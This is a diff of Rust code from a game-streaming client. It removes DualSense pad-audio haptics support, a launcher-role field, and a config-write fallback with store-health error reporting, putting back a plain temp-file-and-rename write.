-    /// The audio-control region (`ucHeadphoneVolume`…`ucAudioMuteBits`): report byte 5.
-    const AUDIO: usize = 5 - Self::REPORT_ID_LEN;
    const RIGHT_TRIGGER: usize = 11 - Self::REPORT_ID_LEN;
    const LEFT_TRIGGER: usize = 22 - Self::REPORT_ID_LEN;
    const PAD_LIGHTS: usize = 44 - Self::REPORT_ID_LEN;
@@ -802,29 +782,6 @@ impl Ds5Feedback {
        p[Self::PAD_LIGHTS] = bits & 0x1F;
        p
    }
-
-    /// The one-shot tier-A activation packet — the SDL disable-bit trap undone. `p[0]`
-    /// (`ucEnableBits1`) bit0 = "enable rumble emulation" and bit1 = "disable audio haptics"
-    /// (SDL_hidapi_ps5.c); SDL sets BOTH whenever its rumble path runs, which mutes the very
-    /// voice coils the 0xD1 haptics stream drives. Per SDL's own comment — "Leaving emulated
-    /// rumble bits off will restore audio haptics" — a packet with those bits CLEARED (and no
-    /// other valid flag, so nothing else is touched) puts the pad back on audio haptics.
-    fn audio_haptics_packet() -> [u8; 47] {
-        [0u8; 47]
-    }
-
-    /// Fold a host [`HidOutput::AudioCtl`] into an effects packet: `raw` is DS5 output report
-    /// `0x02` bytes 5..=10 verbatim → struct offsets 4..=9 ([`Self::AUDIO`] — headphone/
-    /// speaker/mic volumes + routing), and `p[0]` re-asserts the report's audio-valid flags
-    /// (`flags` bits1..4 = report `flag0` bits 4..7). `flags` bit0 (haptics-select, `flag0`
-    /// bit1 = SDL's "disable audio haptics") is deliberately NOT replayed: bits 0/1 stay
-    /// clear so the pad's audio haptics stay live (see [`audio_haptics_packet`]).
-    fn audio_ctl_packet(flags: u8, raw: &[u8; 6]) -> [u8; 47] {
-        let mut p = [0u8; 47];
-        p[0] = (flags & 0x1E) << 3;
-        p[Self::AUDIO..Self::AUDIO + 6].copy_from_slice(raw);
-        p
-    }
 }

 /// One forwarded controller during an attached session: the open SDL handle, its stable wire
@@ -861,14 +818,6 @@ struct Slot {
    /// Hold-Select→guide state ([`SelectGesture`]) — only fed while the worker's
    /// `guide_gesture` policy is on.
    gesture: SelectGesture,
-    /// Pad-audio render capabilities declared for this slot (bit0 = haptics, bit1 = speaker
-    /// — the [`NativeClient::set_pad_audio_caps`] bits). Nonzero only for a tier-A pad (a
-    /// WIRED DualSense/Edge, see [`crate::pad_audio::is_tier_a_ds5`]) under matching
-    /// settings; bit0 set additionally suppresses wire rumble for this slot (the SDL
-    /// disable-bit trap — see [`Worker::render_feedback`]).
-    audio_caps: u8,
-    /// The wire-rumble-suppressed notice fired for this slot (log once, not per command).
-    rumble_suppressed_logged: bool,
 }

 impl Slot {
@@ -885,8 +834,6 @@ impl Slot {
            held_clicks: [false; 2],
            last_accel: [0; 3],
            gesture: SelectGesture::default(),
-            audio_caps: 0,
-            rumble_suppressed_logged: false,
        }
    }

@@ -1024,10 +971,6 @@ struct Worker {
    /// Releases owed for synthetic taps ([`Ctl::TapButton`]): `(pad, bit, due)` — the
    /// down went out on receipt, the up goes out from the poll once `due` passes.
    synthetic_ups: Vec<(u8, u32, Instant)>,
-    /// Pad-audio streams the session's settings want rendered (bit0 = haptics, bit1 =
-    /// speaker — [`GamepadService::set_pad_audio_prefs`]). `0` (the default) until an embedder
-    /// declares some: tier-A detection then never runs and every arrival stays caps-less.
-    pad_audio_prefs: u8,
    attached: Option<Arc<NativeClient>>,
    /// Raises the UI escape signal; the escape chord fires it once per press.
    escape_tx: async_channel::Sender<()>,
@@ -1233,18 +1176,11 @@ impl Worker {
            Ok(pad) => {
                let mut slot = Slot::new(id, index, pref, pad);
                Self::set_slot_sensors(&mut slot, true);
-                slot.audio_caps = self.pad_audio_caps_for(id, &slot.pad);
                // Declare this pad's kind BEFORE any of its input, so the host builds a matching
                // virtual device (mixed types — pad 0 a DualSense, pad 1 an Xbox pad). The core
                // re-sends it a few times against datagram loss; an older host ignores it and
                // uses the session-default kind.
                if let Some(c) = &self.attached {
-                    // Pad-audio render caps go in FIRST — the core ORs them into this (and
-                    // every re-sent) arrival's flags bits 8/9 toward a capable host. ALWAYS
-                    // set (0 for non-tier-A): wire indices are reused within a connection, so
-                    // a tier-A slot that closes must not leave its bits behind for the next
-                    // pad on the same index (the set_rumble_quirks rule).
-                    c.set_pad_audio_caps(index, slot.audio_caps);
                    send(
                        c,
                        InputKind::GamepadArrival,
@@ -1267,27 +1203,6 @@ impl Worker {
                    };
                    c.set_rumble_quirks(index as u16, quirks);
                }
-                if slot.audio_caps != 0 {
-                    if slot.audio_caps & 0x01 != 0 {
-                        // Tier-A haptics activation: the SDL disable-bit trap. SDL's DS5
-                        // driver sets ucEnableBits1 0x01|0x02 ("enable rumble emulation" +
-                        // "disable audio haptics") whenever its rumble path runs — which
-                        // would MUTE the voice coils the 0xD1 stream drives. One effects
-                        // packet with those bits CLEARED puts the pad back on audio haptics
-                        // ("Leaving emulated rumble bits off will restore audio haptics" —
-                        // SDL_hidapi_ps5.c); wire rumble for this slot is suppressed in
-                        // render_feedback so SDL never re-arms them.
-                        let _ = slot.pad.send_effect(&Ds5Feedback::audio_haptics_packet());
-                    }
-                    // Hand the pad to the session's renderer worker. Windows correlation
-                    // needs the HID interface path; Linux matches the sink by signature.
-                    crate::pad_audio::register_tier_a(index, slot.pad.path());
-                    tracing::info!(
-                        index,
-                        caps = slot.audio_caps,
-                        "tier-A DualSense: pad-audio render caps declared"
-                    );
-                }
                tracing::info!(
                    id,
                    index,
@@ -1301,35 +1216,6 @@ impl Worker {
        }
    }

-    /// This pad's pad-audio render capabilities (the bits [`NativeClient::set_pad_audio_caps`]
-    /// takes): the settings prefs for a tier-A pad — a physical DualSense/Edge (by VID:PID,
-    /// never the DECLARED kind: the stream renders on the controller in the user's hands) on
-    /// a WIRED connection — and `0` for everything else (tier B/C are out of scope). Wired
-    /// comes from `SDL_GetGamepadConnectionState`; when SDL answers Unknown, the pad's 4-ch
-    /// audio sibling existing is the fallback signal (Bluetooth exposes no audio device).
-    fn pad_audio_caps_for(&self, id: u32, pad: &sdl3::gamepad::Gamepad) -> u8 {
-        if self.pad_audio_prefs == 0 {
-            return 0; // nothing wanted — skip the (possibly probing) wired check entirely
-        }
-        let jid = sdl3::sys::joystick::SDL_JoystickID(id);
-        let vid = self.subsystem.vendor_for_id(jid).unwrap_or(0);
-        let pid = self.subsystem.product_for_id(jid).unwrap_or(0);
-        if !crate::pad_audio::is_tier_a_ds5(vid, pid, true) {
-            return 0; // not a DualSense/Edge — no wired check needed
-        }
-        use sdl3::joystick::ConnectionState;
-        let wired = match pad.connection_state() {
-            Ok(ConnectionState::Wired) => true,
-            Ok(ConnectionState::Wireless) => false,
-            _ => crate::pad_audio::wired_audio_sibling(pad.path().as_deref()),
-        };
-        if crate::pad_audio::is_tier_a_ds5(vid, pid, wired) {
-            self.pad_audio_prefs
-        } else {
-            0
-        }
-    }
-
    /// Flush a slot's held wire state (so nothing sticks down host-side) and drop it — closing
    /// the SDL handle. The flush only emits wire events, so it is safe even when the device is
    /// already gone (unplug).
@@ -1347,11 +1233,6 @@ impl Worker {
            send(&c, InputKind::GamepadRemove, 0, 0, self.slots[i].index);
        }
        let slot = self.slots.remove(i);
-        if slot.audio_caps != 0 {
-            // Take the pad back from the pad-audio renderer (its device-gone path then
-            // re-correlates — and finds nothing until a tier-A pad registers again).
-            crate::pad_audio::unregister_tier_a(slot.index);
-        }
        tracing::info!(
            id = slot.id,
            index = slot.index,
@@ -1773,7 +1654,6 @@ impl Worker {
                        set_valve_hidapi(false);
                    }
                }
-                Ok(Ctl::PadAudioPrefs(bits)) => self.pad_audio_prefs = bits & 0x03,
                Ok(Ctl::MenuMode(on)) => {
                    self.menu_mode = on;
                    if on {
@@ -2086,20 +1966,6 @@ impl Worker {
        // first; the physical silence backstop is in `close_slot_at`).
        while let Ok(cmd) = connector.next_rumble_command(Duration::ZERO) {
            if let Some(slot) = self.slots.iter_mut().find(|s| s.index as u16 == cmd.pad) {
-                // The SDL disable-bit trap: ANY SDL rumble write sets ucEnableBits1
-                // 0x01|0x02, muting the very voice coils the 0xD1 haptics stream drives —
-                // so a slot with tier-A haptics active never issues wire rumble (the stream
-                // carries the feedback; the game's rumble is in its haptics mix).
-                if slot.audio_caps & 0x01 != 0 {
-                    if !slot.rumble_suppressed_logged {
-                        slot.rumble_suppressed_logged = true;
-                        tracing::info!(
-                            pad = slot.index,
-                            "wire rumble suppressed — the pad-audio haptics stream carries feedback"
-                        );
-                    }
-                    continue;
-                }
                Self::issue_rumble(slot, cmd.low, cmd.high, cmd.backstop_ms);
            }
        }
@@ -2137,27 +2003,13 @@ impl Worker {
                        .pad
                        .send_effect(&Ds5Feedback::trigger_packet(which, effect));
                }
-                // The audio-control region of a DS5 output report a game wrote host-side
-                // (volumes + routing; the SAMPLES ride 0xD1) — folded back into the physical
-                // pad's effects packet, but only where a tier-A renderer is actually live
-                // (`audio_caps`): replaying speaker volumes at a pad whose audio device
-                // nothing streams to would just mute/blast a future session's start state.
-                // Non-tier-A pads keep dropping it (the pre-pad-audio behaviour).
-                HidOutput::AudioCtl { flags, raw, .. } if is_ds && slot.audio_caps != 0 => {
-                    let _ = slot
-                        .pad
-                        .send_effect(&Ds5Feedback::audio_ctl_packet(flags, &raw));
-                }
                // Deliberately unhandled, listed rather than left to a bare `_` so a new
                // variant cannot join them silently: adaptive triggers exist only on a
                // DualSense, and the trackpad-haptic / raw-passthrough planes are DS-specific
-                // and carried by `send_effect` above when the pad is one. `AudioCtl` lands here
-                // only when the guarded arm above declined it — a non-DualSense pad, or one with
-                // no live tier-A renderer — which is the pre-pad-audio behaviour: drop it.
+                // and carried by `send_effect` above when the pad is one.
                HidOutput::Trigger { .. }
                | HidOutput::TrackpadHaptic { .. }
-                | HidOutput::HidRaw { .. }
-                | HidOutput::AudioCtl { .. } => {}
+                | HidOutput::HidRaw { .. } => {}
            }
        }
    }
@@ -2196,9 +2048,6 @@ fn hidout_pad(h: &HidOutput) -> u8 {
        | HidOutput::Trigger { pad, .. }
        | HidOutput::TrackpadHaptic { pad, .. }
        | HidOutput::HidRaw { pad, .. } => *pad,
-        // AudioCtl's pad is the plane's only u16. `HidOutput::decode` rejects anything at or
-        // above MAX_PADS (B27), so by the time one reaches here the narrowing is lossless.
-        HidOutput::AudioCtl { pad, .. } => *pad as u8,
    }
 }

@@ -2226,7 +2075,6 @@ impl Worker {
            system_forward: true,
            guide_gesture: false,
            synthetic_ups: Vec::new(),
-            pad_audio_prefs: 0,
            attached: None,
            escape_tx,
            disconnect_tx,
@@ -2672,44 +2520,6 @@ mod slot_tests {
            }),
            6
        );
-        // AudioCtl's wire pad is u16; the index space is 0..MAX_PADS end to end.
-        assert_eq!(
-            hidout_pad(&HidOutput::AudioCtl {
-                pad: 7,
-                flags: 0,
-                raw: [0; 6]
-            }),
-            7
-        );
-    }
-
-    /// The AudioCtl fold: the 6 raw bytes (DS5 report 0x02 bytes 5..=10) land at effect-struct
-    /// offsets 4..=9, the report's audio-valid flags (AudioCtl.flags bits1..4) come back as
-    /// p[0] bits 4..7, and the rumble-emulation / disable-audio-haptics bits (p[0] bits 0/1)
-    /// stay CLEAR — setting either would mute the voice coils the 0xD1 stream drives.
-    #[test]
-    fn audio_ctl_folds_report_bytes_into_effect_offsets() {
-        let raw = [0x50, 0x60, 0x70, 0x05, 0x11, 0x22];
-        // flags 0b1_0111: haptics-select (bit0) + audio-valid bits 1/2/4 of the condensed form.
-        let p = Ds5Feedback::audio_ctl_packet(0b1_0111, &raw);
-        assert_eq!(&p[4..10], &raw, "report bytes 5..=10 → struct 4..=9");
-        // bits1..4 (0b1011) → flag0 bits 4..7.
-        assert_eq!(p[0], 0b1011_0000);
-        assert_eq!(
-            p[0] & 0x03,
-            0,
-            "haptics-select must NOT replay into p[0] bits 0/1"
-        );
-        // Nothing else is touched: no trigger/LED enable bits, no stray bytes.
-        assert!(p[1..4].iter().all(|&b| b == 0));
-        assert!(p[10..].iter().all(|&b| b == 0));
-        // No audio-valid flags condenses to no enable bits (raw still carried verbatim).
-        let p = Ds5Feedback::audio_ctl_packet(0b0_0001, &raw);
-        assert_eq!(p[0], 0);
-        assert_eq!(&p[4..10], &raw);
-        // The tier-A activation packet is the all-clear: every enable bit off — per
-        // SDL_hidapi_ps5.c, leaving the emulated-rumble bits off restores audio haptics.
-        assert_eq!(Ds5Feedback::audio_haptics_packet(), [0u8; 47]);
    }
 }

@@ -47,11 +47,6 @@ pub mod os;
 // Client settings profiles: the override catalog + the one connect-time resolver
 // (design/client-settings-profiles.md §4). Sits beside `trust`, which owns the host records
 // the bindings live on.
-// Pad audio (the 0xD1 plane): DualSense voice-coil haptics + speaker rendered on the wired
-// physical pad's own 4-ch audio device — correlation, the per-session renderer worker, and
-// the tier-A pad registry the gamepad worker feeds it through.
-#[cfg(any(target_os = "linux", windows))]
-pub mod pad_audio;
 #[cfg(any(target_os = "linux", windows))]
 pub mod profiles;
 #[cfg(any(target_os = "linux", windows))]
@@ -66,20 +66,6 @@ pub struct GameEntry {
    /// host's flattened `GameMeta`; the rest of the metadata is not decoded until a UI needs it.
    #[serde(default)]
    pub platform: Option<String>,
-    /// `"game"` (the default, and what an older host omits) or `"launcher"` — an entry that opens
-    /// the launcher itself (Steam Big Picture, Heroic) rather than a title. A UI may group these
-    /// separately; one that doesn't renders them as ordinary tiles, which is the intended
-    /// degradation (design D4). Kept a plain string: the host owns the vocabulary, and an unknown
-    /// future value must never fail the whole library decode.
-    #[serde(default)]
-    pub role: Option<String>,
-}
-
-impl GameEntry {
-    /// Whether this entry opens a launcher rather than a game.
-    pub fn is_launcher(&self) -> bool {
-        self.role.as_deref() == Some("launcher")
-    }
 }

 /// Errors surfaced to the UI so it can guide setup (the common case is "not paired yet").
@@ -44,14 +44,6 @@ pub struct SessionParams {
    /// Run the uplink through the platform's echo cancellation ([`Settings::echo_cancel`]).
    /// Ignored when `mic_enabled` is false; `PUNKTFUNK_NO_AEC=1` overrides it off.
    pub echo_cancel: bool,
-    /// Render the host's per-pad DualSense voice-coil haptics stream (0xD1 kind 0) on a wired
-    /// physical DualSense ([`crate::trust::Settings::pad_haptics`]). With `pad_speaker` it
-    /// gates the `CLIENT_CAP_PAD_AUDIO` advertisement and the pad-audio renderer thread.
-    pub pad_haptics: bool,
-    /// Where the DualSense built-in-speaker stream (0xD1 kind 1) goes: `"pad"` | `"mix"` |
-    /// `"off"` ([`crate::trust::Settings::pad_speaker`]; `"mix"` is a TODO that renders as
-    /// off — see [`crate::pad_audio::speaker_active`]).
-    pub pad_speaker: String,
    /// Share the clipboard with this host (the per-host `KnownHost::clipboard_sync`). The
    /// bridge additionally needs the host to advertise `HOST_CAP_CLIPBOARD`.
    pub clipboard: bool,
@@ -364,11 +356,6 @@ fn pump(
            );
        }
    }
-    // Pad audio (0xD1): advertise only when the settings could render a stream — the per-pad
-    // tier-A detection at slot open (gamepad.rs) still decides which pads declare render caps
-    // on their arrivals, so this bit alone changes nothing without a wired DualSense.
-    let pad_speaker_on = crate::pad_audio::speaker_active(&params.pad_speaker);
-    let pad_audio_on = params.pad_haptics || pad_speaker_on;
    let connector = match NativeClient::connect(
        &params.host,
        params.port,
@@ -392,11 +379,6 @@ fn pump(
            0
        }) | (if params.phase_lock {
            punktfunk_core::quic::CLIENT_CAP_PHASE_LOCK
-        } else {
-            0
-            // PAD_AUDIO: the embedder can render per-pad DualSense haptics/speaker (see above).
-        }) | (if pad_audio_on {
-            punktfunk_core::quic::CLIENT_CAP_PAD_AUDIO
        } else {
            0
        }),
@@ -519,20 +501,6 @@ fn pump(
    // app-lifetime service's job (the UI attaches it on Connected). Audio runs on its own
    // thread (one puller per plane), blocking on the audio queue like the Apple client.
    let audio_thread = spawn_audio(connector.clone(), stop.clone());
-    // Pad audio (0xD1): its own drain thread (that plane's single consumer), spawned whenever
-    // the settings could render. The output device is opened LAZILY once frames actually
-    // arrive — which only happens after a tier-A pad declared render caps on its arrival — so
-    // a session without a wired DualSense costs one idle 10 ms poll loop.
-    let pad_audio_thread = pad_audio_on
-        .then(|| {
-            crate::pad_audio::spawn(
-                connector.clone(),
-                stop.clone(),
-                params.pad_haptics,
-                pad_speaker_on,
-            )
-        })
-        .flatten();
    // The shared clipboard (design/clipboard-and-file-transfer.md §5): its own thread, since
    // `next_clip` blocks and the OS clipboard calls can wait on other apps. Returns straight
    // away when the host has no clipboard capability, so spawning is unconditional.
@@ -1098,9 +1066,6 @@ fn pump(
    if let Some(t) = audio_thread {
        let _ = t.join(); // exits within its 100 ms pull timeout once `stop` is set
    }
-    if let Some(t) = pad_audio_thread {
-        let _ = t.join(); // exits within its 10 ms pull timeout once `stop` is set
-    }
    if let Some(t) = clipboard_thread {
        let _ = t.join(); // exits within its next_clip wait once `stop` is set
    }
@@ -91,131 +91,22 @@ fn lock_identity_perms(dir: &std::path::Path, key: &std::path::Path) {
    let _ = std::fs::set_permissions(key, std::fs::Permissions::from_mode(0o600));
 }

-/// A sibling temp path unique to this process. The stores below have five whole-file writers
-/// (WinUI shell, session, console UI, CLI, Decky) and a single shared `.json.tmp` lets two of
-/// them interleave: on Windows the second `fs::write` hits a sharing violation, and worse, one
-/// process can rename the OTHER's half-written bytes over the target. The pid keeps each
-/// writer on its own scratch file; the rename below removes it, so a leftover only survives a
-/// hard kill.
-fn temp_sibling(path: &Path) -> PathBuf {
-    let mut name = path.file_name().unwrap_or_default().to_os_string();
-    name.push(format!(".tmp-{}", std::process::id()));
-    path.with_file_name(name)
-}
-
 /// Write a config file the safe way: a sibling temp file, then a rename over the target. A
 /// plain `fs::write` truncates first, so a crash, a full disk or a power cut between truncate
 /// and the last byte leaves an empty/half file — and these stores are what a client needs to
 /// find its hosts at all. Rename is atomic within a directory on both Unix and Windows
 /// (`MoveFileEx` with replace), so a reader ever sees the old file or the new one, never a
 /// torn one. Same discipline as the host's `session_settings.rs`.
-///
-/// **But the rename is not always available, and losing the write is far worse than a torn
-/// one.** The Windows client ships as an MSIX package, so every path here is rewritten by the
-/// container's AppData virtualization before it reaches the filesystem — and when the package
-/// is installed to a secondary drive (Settings ▸ Storage ▸ "New apps will save to: D:"),
-/// Windows stores that redirected AppData on the *package's* volume, under
-/// `D:\WpSystem\<SID>\AppData\`. The literal path we name still says `C:\Users\…`, so a rename
-/// can end up straddling two volumes, and `std::fs::rename` is `MoveFileExW` with
-/// `MOVEFILE_REPLACE_EXISTING` and *not* `MOVEFILE_COPY_ALLOWED` — a cross-volume move fails
-/// outright with `ERROR_NOT_SAME_DEVICE`. Creating and writing files works fine, which is why
-/// such an install starts, streams and pairs happily while every setting and profile silently
-/// evaporates (field report 2026-08-05: "it's in read-only mode").
-///
-/// So a failed rename falls back to writing the target in place. That is exactly what the
-/// identity files already do a few lines up — and those demonstrably work on the affected
-/// installs — so the fallback is a path we know resolves. It gives up crash-atomicity for that
-/// one write and nothing else: the temp+rename stays the normal route everywhere it works.
-///
-/// Writes and reads of one literal path cannot disagree under that redirection — Microsoft
-/// documents a single private-location-first resolution order for both, so whichever layer a
-/// write lands in is the layer the next read finds. The fallback still verifies by reading
-/// back: a silent write is the exact bug being fixed here, and this path only runs on an
-/// install that has already proven it does something unusual.
 pub(crate) fn write_atomic(path: &Path, bytes: &[u8]) -> std::io::Result<()> {
-    let tmp = temp_sibling(path);
-    let atomic = std::fs::write(&tmp, bytes).and_then(|()| std::fs::rename(&tmp, path));
-    let Err(e) = atomic else {
-        store_health::clear();
-        return Ok(());
-    };
-    // Don't leave the temp behind to confuse the next writer (or a backup tool).
-    let _ = std::fs::remove_file(&tmp);
-    match std::fs::write(path, bytes) {
-        Ok(()) => {
-            tracing::warn!(
-                path = %path.display(),
-                error = %e,
-                "atomic replace unavailable in this install; wrote the config in place instead",
-            );
-            // Read it straight back. This whole bug was a write that reported success and
-            // vanished, so the fallback does not get to claim success on the strength of an
-            // `Ok(())` alone — on the one layered filesystem we know we run on, that is the
-            // failure mode to be paranoid about. Only on the degraded path, so the normal
-            // route pays nothing.
-            match std::fs::read(path) {
-                Ok(back) if back == bytes => {
-                    store_health::clear();
-                    Ok(())
-                }
-                Ok(_) => {
-                    let e = std::io::Error::other(
-                        "the file read back different from what was just written",
-                    );
-                    store_health::record(path, &e);
-                    Err(e)
-                }
-                Err(reread) => {
-                    store_health::record(path, &reread);
-                    Err(reread)
-                }
-            }
+    let tmp = path.with_extension("json.tmp");
+    std::fs::write(&tmp, bytes)?;
+    match std::fs::rename(&tmp, path) {
+        Ok(()) => Ok(()),
+        Err(e) => {
+            // Don't leave the temp behind to confuse the next writer (or a backup tool).
+            let _ = std::fs::remove_file(&tmp);
+            Err(e)
        }
-        // Both routes are gone: the store really is unwritable. Report the direct write's
-        // error — it describes the actual permission/space problem, where the rename's may
-        // only say the two paths landed on different volumes.
-        Err(direct) => {
-            store_health::record(path, &direct);
-            Err(direct)
-        }
-    }
-}
-
-/// Whether the config store is accepting writes, so a front-end can *say so* when it is not.
-///
-/// Every persistence call site in this crate is deliberately fire-and-forget — a failed
-/// settings write must never take a stream down — which historically meant a client whose
-/// store was unwritable looked completely normal: toggles moved, profiles appeared, and
-/// nothing survived a restart. The field report that produced this module had no log file to
-/// send either, so there was no signal anywhere. Recording the last failure centrally lets the
-/// UI surface it without unpicking ~15 `let _ = …save()` call sites.
-pub mod store_health {
-    use std::path::Path;
-    use std::sync::Mutex;
-
-    static LAST_ERROR: Mutex<Option<String>> = Mutex::new(None);
-
-    pub(crate) fn record(path: &Path, err: &std::io::Error) {
-        let msg = format!("{}: {err}", path.display());
-        tracing::error!(store = %path.display(), error = %err, "cannot persist client config");
-        if let Ok(mut slot) = LAST_ERROR.lock() {
-            *slot = Some(msg);
-        }
-    }
-
-    pub(crate) fn clear() {
-        if let Ok(mut slot) = LAST_ERROR.lock() {
-            *slot = None;
-        }
-    }
-
-    /// The most recent failure to persist a config file, if the last attempt failed.
-    ///
-    /// Tracks the last *attempt*, not a per-file verdict: a store that cannot be written fails
-    /// every file, so this latches for as long as the problem lasts and goes quiet the moment
-    /// any write gets through.
-    pub fn last_error() -> Option<String> {
-        LAST_ERROR.lock().ok().and_then(|s| s.clone())
    }
 }

@@ -1133,21 +1024,6 @@ pub struct Settings {
    /// `PUNKTFUNK_AUDIO_SOURCE`).
    #[serde(default)]
    pub mic_device: String,
-    /// Render the host's per-pad DualSense voice-coil haptics stream (the 0xD1 plane, kind 0)
-    /// on a WIRED physical DualSense's own audio device (tier A — Bluetooth pads expose no
-    /// audio device). Gates the `CLIENT_CAP_PAD_AUDIO` advertisement and the per-pad arrival
-    /// capability bit; wire rumble is suppressed for a pad whose haptics stream is live (the
-    /// stream carries the feedback — see `gamepad.rs`, the SDL disable-bit trap). Default ON:
-    /// the capable-and-agreed negotiation means it changes nothing without a capable host AND
-    /// a wired DS5. `default` so pre-existing stores load with it on.
-    #[serde(default = "default_true")]
-    pub pad_haptics: bool,
-    /// Where the DualSense built-in-speaker stream (0xD1 kind 1) is rendered: `"pad"` (default
-    /// — the physical pad's own speaker), `"mix"` (fold it into the main stream audio — a
-    /// declared TODO that renders as `"off"` today; see `pad_audio::speaker_active`), or
-    /// `"off"`. `default` so pre-existing stores load as `"pad"`.
-    #[serde(default = "default_pad_speaker")]
-    pub pad_speaker: String,
    /// Match-window resolution policy (design/midstream-resolution-resize.md D1): the
    /// stream mode follows the session window — the connect asks for the window's pixel
    /// size and a mid-session resize renegotiates the host's virtual display + encoder
@@ -1195,10 +1071,6 @@ fn default_true() -> bool {
    true
 }

-fn default_pad_speaker() -> String {
-    "pad".into()
-}
-
 impl Settings {
    /// The stats-overlay tier, resolving pre-tier stores: an old `show_stats = false`
    /// reads as Off, everything else as Normal (≈ what the pre-tier overlay showed).
@@ -1307,8 +1179,6 @@ impl Default for Settings {
            invert_scroll: false,
            speaker_device: String::new(),
            mic_device: String::new(),
-            pad_haptics: true,
-            pad_speaker: "pad".into(),
            match_window: false,
            last_window_w: 0,
            last_window_h: 0,
@@ -2049,7 +1919,6 @@ mod tests {
    /// discipline all three client stores now share.
    #[test]
    fn write_atomic_replaces_and_cleans_up() {
-        let _guard = store_health_lock();
        let dir = std::env::temp_dir().join(format!(
            "pf-client-core-test-{}",
            std::time::SystemTime::now()
@@ -2063,112 +1932,7 @@ mod tests {
        assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"a\":1}");
        write_atomic(&p, b"{\"a\":2}").unwrap();
        assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"a\":2}");
-        assert!(!temp_sibling(&p).exists());
-        // Nothing else in the directory either — the scratch file is gone, not renamed aside.
-        let left: Vec<_> = std::fs::read_dir(&dir)
-            .unwrap()
-            .filter_map(|e| e.ok().map(|e| e.file_name()))
-            .collect();
-        assert_eq!(left, vec![std::ffi::OsString::from("store.json")]);
-        let _ = std::fs::remove_dir_all(&dir);
-    }
-
-    /// `store_health` is process-global, so the two tests that read it must not run at the same
-    /// time — one's successful write clears the other's recorded failure. Nothing else in the
-    /// crate's tests reaches `write_atomic`, so this lock is the whole serialization needed.
-    fn store_health_lock() -> std::sync::MutexGuard<'static, ()> {
-        static LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());
-        LOCK.lock().unwrap_or_else(|e| e.into_inner())
-    }
-
-    /// Two processes saving at once must not share one scratch file — the pid keeps them apart.
-    /// (Same-process, so this only proves the name varies with the pid, not the interleaving.)
-    #[test]
-    fn temp_sibling_is_per_process_and_a_sibling() {
-        let p = Path::new("/tmp/pf/client-windows-settings.json");
-        let t = temp_sibling(p);
-        assert_eq!(t.parent(), p.parent());
-        assert_eq!(
-            t.file_name().unwrap().to_str().unwrap(),
-            format!("client-windows-settings.json.tmp-{}", std::process::id())
-        );
-        // Must not collide with the store itself, nor look like one to `load()`.
-        assert_ne!(t, p.to_path_buf());
-    }
-
-    /// **The fix itself.** When the temp+rename route is unavailable, the bytes must still
-    /// reach the target — that is the difference between the field's "read-only mode" and a
-    /// working client. Simulated by parking a DIRECTORY on the (deterministic) temp sibling
-    /// path so the temp leg cannot be written; the field's install fails one step later, at
-    /// the rename, but both funnel into the same fallback, which is what this pins.
-    #[test]
-    fn the_atomic_route_failing_falls_back_to_an_in_place_write() {
-        let _guard = store_health_lock();
-        let dir = std::env::temp_dir().join(format!(
-            "pf-client-core-inplace-{}-{}",
-            std::process::id(),
-            std::time::SystemTime::now()
-                .duration_since(std::time::UNIX_EPOCH)
-                .map(|d| d.as_nanos())
-                .unwrap_or(0)
-        ));
-        std::fs::create_dir_all(&dir).unwrap();
-        let p = dir.join("store.json");
-        std::fs::write(&p, b"{\"old\":true}").unwrap();
-
-        // Block the scratch path, so the atomic route cannot complete.
-        std::fs::create_dir_all(temp_sibling(&p)).unwrap();
-        assert!(temp_sibling(&p).is_dir());
-
-        // The write must still report success AND actually be readable back — a silent
-        // `Ok(())` that lost the bytes is the bug, not the fix.
-        write_atomic(&p, b"{\"new\":true}").unwrap();
-        assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"new\":true}");
-        // Degraded, but not broken: nothing to warn the user about.
-        assert_eq!(store_health::last_error(), None);
-
-        let _ = std::fs::remove_dir_all(&dir);
-    }
-
-    /// The other end: when the in-place fallback ALSO fails, the error must surface rather
-    /// than be swallowed, because at that point nothing the user does on the page will stick.
-    #[test]
-    fn a_failed_rename_still_persists_the_write() {
-        let _guard = store_health_lock();
-        let dir = std::env::temp_dir().join(format!(
-            "pf-client-core-fallback-{}-{}",
-            std::process::id(),
-            std::time::SystemTime::now()
-                .duration_since(std::time::UNIX_EPOCH)
-                .map(|d| d.as_nanos())
-                .unwrap_or(0)
-        ));
-        std::fs::create_dir_all(&dir).unwrap();
-
-        // Sanity: the healthy path reports a healthy store.
-        let ok = dir.join("store.json");
-        write_atomic(&ok, b"{}").unwrap();
-        assert_eq!(store_health::last_error(), None);
-
-        // Now the unwritable case: a directory in the target's place defeats BOTH the rename
-        // and the in-place write, so the error must surface instead of being swallowed.
-        let blocked = dir.join("blocked.json");
-        std::fs::create_dir_all(&blocked).unwrap();
-        std::fs::write(blocked.join("occupant"), b"x").unwrap();
-        assert!(write_atomic(&blocked, b"{\"a\":1}").is_err());
-        let reported = store_health::last_error().expect("an unwritable store must be reported");
-        assert!(
-            reported.contains("blocked.json"),
-            "the report names the store: {reported}"
-        );
-        // No scratch file left behind by the failed attempt.
-        assert!(!temp_sibling(&blocked).exists());
-
-        // And a later success clears it, so the UI stops warning once the store recovers.
-        write_atomic(&ok, b"{\"a\":2}").unwrap();
-        assert_eq!(store_health::last_error(), None);
-        assert_eq!(std::fs::read_to_string(&ok).unwrap(), "{\"a\":2}");
-
+        assert!(!p.with_extension("json.tmp").exists());
        let _ = std::fs::remove_dir_all(&dir);
    }
 }
@@ -270,11 +270,7 @@ fn load_floor(path: &Path, channel: &str) -> u64 {
        .unwrap_or(0)
 }

-/// Raise (never lower) the floor, through the crate's one config writer — this used to
-/// hand-roll its own tmp+rename, which meant it neither cleaned up its temp on a failed
-/// rename nor picked up [`crate::trust::write_atomic`]'s in-place fallback, so on an install
-/// where the rename cannot work the floor silently never rose and a declined update came
-/// back forever.
+/// Raise (never lower) the floor; atomic tmp+rename so a power cut can't half-write it.
 fn store_floor(path: &Path, channel: &str, serial: u64) {
    let mut file: FloorFile = std::fs::read(path)
        .ok()
@@ -291,7 +287,10 @@ fn store_floor(path: &Path, channel: &str, serial: u64) {
    if let Some(dir) = path.parent() {
        let _ = std::fs::create_dir_all(dir);
    }
-    let _ = crate::trust::write_atomic(path, &bytes);
+    let tmp = path.with_extension("json.tmp");
+    if std::fs::write(&tmp, &bytes).is_ok() {
+        let _ = std::fs::rename(&tmp, path);
+    }
 }

 // ---------------------------------------------------------------- check
